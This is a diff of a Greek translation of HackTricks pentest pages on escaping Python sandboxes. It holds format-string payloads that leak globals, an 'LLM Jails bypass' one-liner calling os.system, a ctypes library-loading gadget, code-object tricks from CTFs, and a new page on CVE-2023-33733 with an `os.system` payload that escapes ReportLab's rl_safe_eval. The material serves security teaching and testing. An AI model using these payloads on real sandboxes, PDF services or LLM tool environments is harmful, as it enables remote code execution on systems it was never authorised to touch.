DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## Αναδρομική Αναζήτηση Builtins, Globals...
## Αναδρομική Αναζήτηση των Builtins, Globals...
> [!WARNING]
> Αυτό είναι απλώς **καταπληκτικό**. Αν **ψάχνετε για ένα αντικείμενο όπως globals, builtins, open ή οτιδήποτε άλλο** απλώς χρησιμοποιήστε αυτό το σενάριο για να **αναζητήσετε αναδρομικά μέρη όπου μπορείτε να βρείτε αυτό το αντικείμενο.**
> Αυτό είναι απλώς **καταπληκτικό**. Αν **ψάχνετε για ένα αντικείμενο όπως globals, builtins, open ή οτιδήποτε άλλο,** απλά χρησιμοποιήστε αυτό το script για να **εντοπίσετε αναδρομικά μέρη όπου μπορείτε να βρείτε αυτό το αντικείμενο.**
```python
import os, sys # Import these to find more gadgets
@ -654,7 +662,8 @@ print(SEARCH_FOR)
if __name__ == "__main__":
main()
```
Μπορείτε να ελέγξετε την έξοδο αυτού του script σε αυτή τη σελίδα:
Μπορείτε να δείτε την έξοδο αυτού του script σε αυτή τη σελίδα:
{{#ref}}
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
@ -662,7 +671,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
## Python Format String
Αν **στείλετε** μια **αλφαριθμητική** σε python που πρόκειται να **μορφοποιηθεί**, μπορείτε να χρησιμοποιήσετε `{}` για να αποκτήσετε πρόσβαση σε **εσωτερικές πληροφορίες της python.** Μπορείτε να χρησιμοποιήσετε τα προηγούμενα παραδείγματα για να αποκτήσετε πρόσβαση σε globals ή builtins για παράδειγμα.
Αν **στείλετε** ένα **string** στο python που πρόκειται να **μορφοποιηθεί**, μπορείτε να χρησιμοποιήσετε `{}` για να αποκτήσετε πρόσβαση σε **εσωτερικές πληροφορίες του python.** Μπορείτε να χρησιμοποιήσετε τα προηγούμενα παραδείγματα για να αποκτήσετε πρόσβαση σε globals ή builtins, για παράδειγμα.
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -682,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Σημειώστε πώς μπορείτε να **πρόσβαση σε χαρακτηριστικά** με κανονικό τρόπο με μια **τελεία** όπως `people_obj.__init__` και **στοιχείο dict** με **παρενθέσεις** χωρίς εισαγωγικά `__globals__[CONFIG]`
Σημειώστε πώς μπορείτε να **προσπελάσετε χαρακτηριστικά** με τον κανονικό τρόπο με μια **τελεία** όπως `people_obj.__init__` και **στοιχείο dict** με **αγκύλες** χωρίς εισαγωγικά `__globals__[CONFIG]`
Επίσης σημειώστε ότι μπορείτε να χρησιμοποιήσετε `.__dict__` για να απαριθμήσετε τα στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Επίσης, σημειώστε ότι μπορείτε να χρησιμοποιήσετε `.__dict__` για να απαριθμήσετε στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Ορισμένα άλλα ενδιαφέροντα χαρακτηριστικά από τις μορφές συμβολοσειρών είναι η δυνατότητα **εκτέλεσης** των **συναρτήσεων** **`str`**, **`repr`** και **`ascii`** στο υποδεικνυόμενο αντικείμενο προσθέτοντας **`!s`**, **`!r`**, **`!a`** αντίστοιχα:
Μερικά άλλα ενδιαφέροντα χαρακτηριστικά των format strings είναι η δυνατότητα εκτέλεσης των συναρτήσεων `str`, `repr` και `ascii` στο υποδεικνυόμενο αντικείμενο προσθέτοντας αντίστοιχα `!s`, `!r`, `!a`:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
Επιπλέον, είναι δυνατόν να **κωδικοποιηθούν νέοι μορφοποιητές** σε κλάσεις:
Επιπλέον, είναι δυνατό να **code new formatters** σε κλάσεις:
```python
class HAL9000(object):
def __format__(self, format):
@ -702,17 +711,17 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**Περισσότερα παραδείγματα** σχετικά με **μορφή** **συμβολοσειρών** μπορούν να βρεθούν στο [**https://pyformat.info/**](https://pyformat.info)
**Περισσότερα παραδείγματα** σχετικά με **format** **string** μπορείτε να βρείτε στο [**https://pyformat.info/**](https://pyformat.info)
> [!ΠΡΟΣΟΧΗ]
> Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα r**ead ευαίσθητες πληροφορίες από τα εσωτερικά αντικείμενα της Python**:
> [!CAUTION]
> Ελέγξτε επίσης την ακόλουθη σελίδα για gadgets που θα r**αποκαλύψουν ευαίσθητες πληροφορίες από τα εσωτερικά αντικείμενα του Python**:
{{#ref}}
../python-internal-read-gadgets.md
{{#endref}}
### Payloads Αποκάλυψης Ευαίσθητων Πληροφοριών
### Payloads αποκάλυψης ευαίσθητων πληροφοριών
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
@ -730,20 +739,20 @@ str(x) # Out: clueless
```
### LLM Jails bypass
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
Από [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### Από τη μορφή στη RCE φόρτωση βιβλιοθηκών
### Από το format στο RCE για φόρτωση βιβλιοθηκών
Σύμφωνα με το [**TypeMonkey chall από αυτή τη γραφή**](https://corgi.rip/posts/buckeye-writeups/), είναι δυνατόν να φορτωθούν αυθαίρετες βιβλιοθήκες από το δίσκο εκμεταλλευόμενοι την ευπάθεια της μορφής συμβολοσειράς στην python.
Σύμφωνα με το [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) είναι δυνατό να φορτωθούν αυθαίρετες βιβλιοθήκες από δίσκο εκμεταλλευόμενοι την ευπάθεια format string στο python.
Ως υπενθύμιση, κάθε φορά που εκτελείται μια ενέργεια στην python, εκτελείται κάποια συνάρτηση. Για παράδειγμα, `2*3` θα εκτελέσει **`(2).mul(3)`** ή **`{'a':'b'}['a']`** θα είναι **`{'a':'b'}.__getitem__('a')`**.
Ως υπενθύμιση, κάθε φορά που εκτελείται μια ενέργεια στο python εκτελείται κάποια συνάρτηση. Για παράδειγμα `2*3` θα εκτελέσει **`(2).mul(3)`** ή **`{'a':'b'}['a']`** θα είναι **`{'a':'b'}.__getitem__('a')`**.
Έχετε περισσότερα όπως αυτό στην ενότητα [**Εκτέλεση Python χωρίς κλήσεις**](#python-execution-without-calls).
Έχεις περισσότερα τέτοια στην ενότητα [**Python execution without calls**](#python-execution-without-calls).
Μια ευπάθεια μορφής συμβολοσειράς στην python δεν επιτρέπει την εκτέλεση συνάρτησης (δεν επιτρέπει τη χρήση παρενθέσεων), οπότε δεν είναι δυνατόν να αποκτήσετε RCE όπως `'{0.system("/bin/sh")}'.format(os)`.\
Ωστόσο, είναι δυνατόν να χρησιμοποιήσετε `[]`. Επομένως, αν μια κοινή βιβλιοθήκη python έχει μια μέθοδο **`__getitem__`** ή **`__getattr__`** που εκτελεί αυθαίρετο κώδικα, είναι δυνατόν να τις εκμεταλλευτείτε για να αποκτήσετε RCE.
Μια ευπάθεια format string στο python δεν επιτρέπει την εκτέλεση συνάρτησης (δεν επιτρέπει τη χρήση παρενθέσεων), οπότε δεν είναι δυνατό να προκύψει RCE όπως `'{0.system("/bin/sh")}'.format(os)`.\
Ωστόσο, είναι δυνατό να χρησιμοποιηθεί `[]`. Επομένως, αν μια κοινή βιβλιοθήκη python έχει μέθοδο **`__getitem__`** ή **`__getattr__`** που εκτελεί αυθαίρετο κώδικα, είναι δυνατό να τις εκμεταλλευτείς για να αποκτήσεις RCE.
Ψάχνοντας για ένα gadget όπως αυτό στην python, η γραφή προτείνει αυτή την [**αναζήτηση στο Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Όπου βρήκε αυτό [ένα](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
Ψάχνοντας για ένα τέτοιο gadget στο python, το άρθρο προτείνει αυτή την [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Εκεί βρήκε αυτό το [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -765,18 +774,18 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
Αυτή η συσκευή επιτρέπει να **φορτώσετε μια βιβλιοθήκη από τον δίσκο**. Επομένως, είναι απαραίτητο να **γράψετε ή να ανεβάσετε τη βιβλιοθήκη που θα φορτωθεί** σωστά συμπιεσμένη στον επιτιθέμενο διακομιστή.
Αυτό το gadget επιτρέπει τη **φόρτωση μιας βιβλιοθήκης από το δίσκο**. Επομένως, απαιτείται με κάποιον τρόπο να **γράψετε ή ανεβάσετε τη βιβλιοθήκη που θα φορτωθεί**, σωστά μεταγλωττισμένη, στον διακομιστή-στόχο.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
Η πρόκληση εκμεταλλεύεται στην πραγματικότητα μια άλλη ευπάθεια στον διακομιστή που επιτρέπει τη δημιουργία αυθαίρετων αρχείων στον δίσκο των διακομιστών.
Η πρόκληση στην πραγματικότητα εκμεταλλεύεται μια άλλη ευπάθεια στον διακομιστή που επιτρέπει τη δημιουργία αυθαίρετων αρχείων στον δίσκο του διακομιστή.
## Ανάλυση Αντικειμένων Python
## Ανάλυση αντικειμένων Python
> [!TIP]
> Αν θέλετε να **μάθετε** για τον **bytecode της python** σε βάθος, διαβάστε αυτή την **καταπληκτική** ανάρτηση για το θέμα: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
> Αν θέλετε να **μάθετε** για το **python bytecode** σε βάθος διαβάστε αυτή την **υπέροχη** ανάρτηση για το θέμα: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
Σε ορισμένα CTFs μπορεί να σας παρέχεται το όνομα μιας **προσαρμοσμένης συνάρτησης όπου βρίσκεται η σημαία** και πρέπει να δείτε τα **εσωτερικά** της **συνάρτησης** για να την εξαγάγετε.
Σε μερικά CTFs μπορεί να σας δοθεί το όνομα μιας **custom function όπου βρίσκεται το flag** και πρέπει να δείτε τα **εσωτερικά** της **συνάρτησης** για να το εξάγετε.
Αυτή είναι η συνάρτηση που πρέπει να εξετάσετε:
```python
@ -798,7 +807,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` και `func_globals`(Ίδιο) Αποκτά το παγκόσμιο περιβάλλον. Στο παράδειγμα μπορείτε να δείτε μερικά εισαγόμενα modules, μερικές παγκόσμιες μεταβλητές και το περιεχόμενό τους που δηλώνονται:
`__globals__` and `func_globals` (Ίδιο) Αποκτά το global environment. Στο παράδειγμα μπορείτε να δείτε μερικά imported modules, μερικές global variables και το δηλωμένο περιεχόμενό τους:
```python
get_flag.func_globals
get_flag.__globals__
@ -807,11 +816,11 @@ get_flag.__globals__
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
[**Δείτε εδώ περισσότερες τοποθεσίες για να αποκτήσετε globals**](#globals-and-locals)
[**See here more places to obtain globals**](#globals-and-locals)
### **Πρόσβαση στον κώδικα της συνάρτησης**
**`__code__`** και `func_code`: Μπορείτε να **πρόσβαση** σε αυτό το **χαρακτηριστικό** της συνάρτησης για να **αποκτήσετε το αντικείμενο κώδικα** της συνάρτησης.
**`__code__`** και `func_code`: Μπορείτε να **έχετε πρόσβαση** σε αυτή την **ιδιότητα** της συνάρτησης για να **αποκτήσετε το code object** της συνάρτησης.
```python
# In our current example
get_flag.__code__
@ -825,7 +834,7 @@ compile("print(5)", "", "single")
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
```
### Λήψη Πληροφοριών Κώδικα
### Απόκτηση Πληροφοριών Κώδικα
```python
# Another example
s = '''
@ -899,7 +908,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Σημειώστε ότι **αν δεν μπορείτε να εισάγετε το `dis` στην python sandbox** μπορείτε να αποκτήσετε τον **bytecode** της συνάρτησης (`get_flag.func_code.co_code`) και να την **αποσυναρμολογήσετε** τοπικά. Δεν θα δείτε το περιεχόμενο των μεταβλητών που φορτώνονται (`LOAD_CONST`) αλλά μπορείτε να τις μαντέψετε από (`get_flag.func_code.co_consts`) επειδή το `LOAD_CONST` λέει επίσης την απόσταση της μεταβλητής που φορτώνεται.
Σημειώστε ότι **if you cannot import `dis` in the python sandbox** μπορείτε να αποκτήσετε το **bytecode** της συνάρτησης (`get_flag.func_code.co_code`) και να το **disassemble** τοπικά. Δεν θα δείτε το περιεχόμενο των μεταβλητών που φορτώνονται (`LOAD_CONST`), αλλά μπορείτε να τα μαντέψετε από (`get_flag.func_code.co_consts`) επειδή `LOAD_CONST` επίσης δείχνει την offset της μεταβλητής που φορτώνεται.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -921,10 +930,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
```
## Συγκέντρωση Python
## Μεταγλώττιση Python
Τώρα, ας φανταστούμε ότι με κάποιο τρόπο μπορείτε να **εκχύσετε τις πληροφορίες σχετικά με μια συνάρτηση που δεν μπορείτε να εκτελέσετε** αλλά **χρειάζεστε** να **την εκτελέσετε**.\
Όπως στο παρακάτω παράδειγμα, μπορείτε να **έχετε πρόσβαση στο αντικείμενο κώδικα** αυτής της συνάρτησης, αλλά απλά διαβάζοντας την αποσυναρμολόγηση **δεν ξέρετε πώς να υπολογίσετε τη σημαία** (_φανταστείτε μια πιο σύνθετη συνάρτηση `calc_flag`_)
Τώρα, ας φανταστούμε ότι με κάποιον τρόπο μπορείτε να **dump the information about a function that you cannot execute** αλλά **πρέπει** να την **εκτελέσετε**.\
Όπως στο ακόλουθο παράδειγμα, μπορείτε να **can access the code object** της συνάρτησης αυτής, αλλά μόνο διαβάζοντας το disassemble **δεν ξέρετε πώς να υπολογίσετε το flag** (_φανταστείτε μια πιο πολύπλοκη `calc_flag` συνάρτηση_)
```python
def get_flag(some_input):
var1=1
@ -937,9 +946,9 @@ return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
### Δημιουργία του αντικειμένου κώδικα
### Δημιουργία του code object
Πρώτα απ' όλα, πρέπει να ξέρουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα** ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε τη λειτουργία μας που έχει διαρρεύσει:
Πρώτα απ' όλα, πρέπει να γνωρίζουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα code object** ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε την function leaked:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -959,7 +968,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!TIP]
> Ανάλογα με την έκδοση python, οι **παράμετροι** του `code_type` μπορεί να έχουν **διαφορετική σειρά**. Ο καλύτερος τρόπος για να γνωρίζετε τη σειρά των παραμέτρων στην έκδοση python που εκτελείτε είναι να εκτελέσετε:
> Ανάλογα με την έκδοση του python, οι **παράμετροι** του `code_type` ενδέχεται να έχουν **διαφορετική σειρά**. Ο καλύτερος τρόπος για να μάθετε τη σειρά των παραμέτρων στην έκδοση του python που τρέχετε είναι να εκτελέσετε:
>
> ```
> import types
@ -967,10 +976,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
> ```
### Recreating a leaked function
### Επαναδημιουργία ενός leaked function
> [!WARNING]
> Στο παρακάτω παράδειγμα, θα πάρουμε όλα τα δεδομένα που χρειάζονται για να αναδημιουργήσουμε τη συνάρτηση απευθείας από το αντικείμενο κώδικα της συνάρτησης. Σε ένα **πραγματικό παράδειγμα**, όλες οι **τιμές** για την εκτέλεση της συνάρτησης **`code_type`** είναι αυτές που **θα χρειαστεί να διαρρεύσουν**.
> Στο ακόλουθο παράδειγμα, θα πάρουμε όλα τα δεδομένα που χρειάζονται για να επαναδημιουργήσουμε τη function απευθείας από το function code object. Σε ένα **real example**, όλες οι **τιμές** για να εκτελεστεί η συνάρτηση **`code_type`** είναι αυτά που **θα χρειαστεί να leak**.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -981,12 +990,12 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
```
### Bypass Defenses
### Παράκαμψη Αμυνών
In previous examples at the beginning of this post, you can see **how to execute any python code using the `compile` function**. This is interesting because you can **execute whole scripts** with loops and everything in a **one liner** (and we could do the same using **`exec`**).\
Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF machine** (for example because we don't have the `compiled` function in the CTF).
Στα προηγούμενα παραδείγματα στην αρχή αυτού του άρθρου, μπορείτε να δείτε **πώς να εκτελείτε οποιονδήποτε python κώδικα χρησιμοποιώντας τη λειτουργία `compile`**. Αυτό είναι ενδιαφέρον γιατί μπορείτε να **εκτελέσετε ολόκληρα scripts** με βρόχους και τα πάντα σε ένα **one liner** (και θα μπορούσαμε να κάνουμε το ίδιο χρησιμοποιώντας **`exec`**).\
Παρόλα αυτά, μερικές φορές μπορεί να είναι χρήσιμο να **δημιουργήσετε** ένα **compiled object** σε μια τοπική μηχανή και να το εκτελέσετε στη **CTF machine** (για παράδειγμα επειδή δεν έχουμε τη `compiled` function στο CTF).
Για παράδειγμα, ας μεταγλωττίσουμε και εκτελέσουμε χειροκίνητα μια συνάρτηση που διαβάζει _./poc.py_:
Για παράδειγμα, ας κάνουμε compile και να εκτελέσουμε χειροκίνητα μια συνάρτηση που διαβάζει _./poc.py_:
```python
#Locally
def read():
@ -1013,7 +1022,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Αν δεν μπορείτε να αποκτήσετε πρόσβαση στο `eval` ή `exec`, μπορείτε να δημιουργήσετε μια **κατάλληλη συνάρτηση**, αλλά η άμεση κλήση της συνήθως θα αποτύχει με: _ο κατασκευαστής δεν είναι προσβάσιμος σε περιορισμένο τρόπο_. Έτσι, χρειάζεστε μια **συνάρτηση που δεν είναι στο περιορισμένο περιβάλλον για να καλέσετε αυτή τη συνάρτηση.**
Αν δεν μπορείτε να έχετε πρόσβαση στο `eval` ή στο `exec`, μπορείτε να δημιουργήσετε μια **κατάλληλη συνάρτηση**, αλλά η άμεση κλήση της συνήθως θα αποτύχει με: _constructor not accessible in restricted mode_. Οπότε χρειάζεστε μια **συνάρτηση που δεν βρίσκεται στο περιορισμένο περιβάλλον για να καλέσει αυτή τη συνάρτηση.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1021,23 +1030,23 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## Αποσυμπίεση Συμπιεσμένου Python
## Decompiling Compiled Python
Χρησιμοποιώντας εργαλεία όπως [**https://www.decompiler.com/**](https://www.decompiler.com) μπορεί κανείς να **αποσυμπιέσει** τον δεδομένο συμπιεσμένο κώδικα python.
Χρησιμοποιώντας εργαλεία όπως [**https://www.decompiler.com/**](https://www.decompiler.com) μπορεί κανείς να **decompile** δεδομένο compiled python κώδικα.
**Δείτε αυτό το σεμινάριο**:
**Δείτε αυτό το tutorial**:
{{#ref}}
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
{{#endref}}
## Διάφορα Python
## Misc Python
### Assert
Ο Python που εκτελείται με βελτιστοποιήσεις με την παράμετρο `-O` θα αφαιρέσει τις δηλώσεις assert και οποιονδήποτε κώδικα που είναι υπό όρους με την τιμή του **debug**.\
Επομένως, ελέγχοι όπως
Όταν το Python εκτελείται με βελτιστοποιήσεις με την παράμετρο `-O` θα αφαιρέσει δηλώσεις asset και οποιονδήποτε κώδικα που εξαρτάται από την τιμή του **debug**.\
Επομένως, έλεγχοι όπως
```python
def check_permission(super_user):
try:
@ -1048,7 +1057,7 @@ print(f"\nNot a Super User!!!\n")
```
θα παρακαμφθεί
## Αναφορές
## References
- [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
- [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
@ -1056,5 +1065,8 @@ print(f"\nNot a Super User!!!\n")
- [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape)
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
- [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733)
- [0xdf: University (HTB) Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,79 @@
# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
{{#include ../../../banners/hacktricks-training.md}}
Αυτή η σελίδα τεκμηριώνει ένα πρακτικό sandbox escape και RCE primitive στο ReportLabs rl_safe_eval που χρησιμοποιείται από xhtml2pdf και άλλες διεργασίες δημιουργίας PDF όταν αποδίδουν HTML που ελέγχεται από χρήστη σε PDF.
CVE-2023-33733 επηρεάζει τις εκδόσεις ReportLab έως και 3.6.12. Σε ορισμένα περιβάλλοντα attribute (για παράδειγμα color), τιμές τυλιγμένες σε triple brackets [[[ ... ]]] αξιολογούνται server-side από το rl_safe_eval. Με το σχεδιασμό ενός payload που περιστρέφεται από ένα whitelisted builtin (pow) προς τα globals της Python function, ένας επιτιθέμενος μπορεί να φτάσει το module os και να εκτελέσει εντολές.
Key points
- Trigger: inject [[[ ... ]]] into evaluated attributes such as <font color="..."> within markup parsed by ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval αντικαθιστά επικίνδυνα builtins αλλά οι αξιολογημένες συναρτήσεις εξακολουθούν να εκθέτουν __globals__.
- Bypass: κατασκευάστε μια προσωρινή κλάση Word για να παρακάμψετε τους ελέγχους ονομάτων του rl_safe_eval και να αποκτήσετε πρόσβαση στο string "__globals__" ενώ αποφεύγετε το φιλτράρισμα των μπλοκαρισμένων dunder.
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
- Stability: Επιστρέψτε μια έγκυρη τιμή για το attribute μετά την εκτέλεση (για color, χρησιμοποιήστε και 'red').
When to test
- Εφαρμογές που προσφέρουν εξαγωγή HTML-to-PDF (profiles, invoices, reports) και εμφανίζουν xhtml2pdf/ReportLab στα metadata του PDF ή σε σχόλια στην HTTP απάντηση.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- Η HTTP απάντηση για PDF συχνά ξεκινά με ένα σχόλιο generator του ReportLab
How the sandbox bypass works
- rl_safe_eval αφαιρεί ή αντικαθιστά πολλά builtins (getattr, type, pow, ...) και εφαρμόζει φιλτράρισμα ονομάτων για να αρνηθεί attributes που ξεκινούν με __ ή βρίσκονται σε denylist.
- Ωστόσο, οι ασφαλείς συναρτήσεις ζουν σε ένα λεξικό globals προσβάσιμο ως func.__globals__.
- Χρησιμοποιήστε type(type(1)) για να ανακτήσετε την πραγματική builtin type function (παρακάμπτοντας το wrapper του ReportLab), και στη συνέχεια ορίστε μια κλάση Word που κληρονομεί από str με μεταμορφωμένη συμπεριφορά συγκρίσεων έτσι ώστε:
- .startswith('__') → πάντα False (παρακάμπτει τον έλεγχο name startswith('__'))
- .__eq__ επιστρέφει False μόνο στην πρώτη σύγκριση (παρακάμπτει τους ελέγχους membership στην denylist) και True στη συνέχεια (ώστε να δουλέψει το Python getattr)
- .__hash__ ισούται με hash(str(self))
- Με αυτόν τον τρόπο getattr(pow, Word('__globals__')) επιστρέφει το globals dict της τυλιγμένης pow function, το οποίο περιλαμβάνει το εισαγμένο module os. Έπειτα: ['os'].system('<cmd>').
Minimal exploitation pattern (attribute example)
Τοποθετήστε το payload μέσα σε ένα αξιολογούμενο attribute και βεβαιωθείτε ότι επιστρέφει μια έγκυρη τιμή για το attribute μέσω boolean και 'red'.
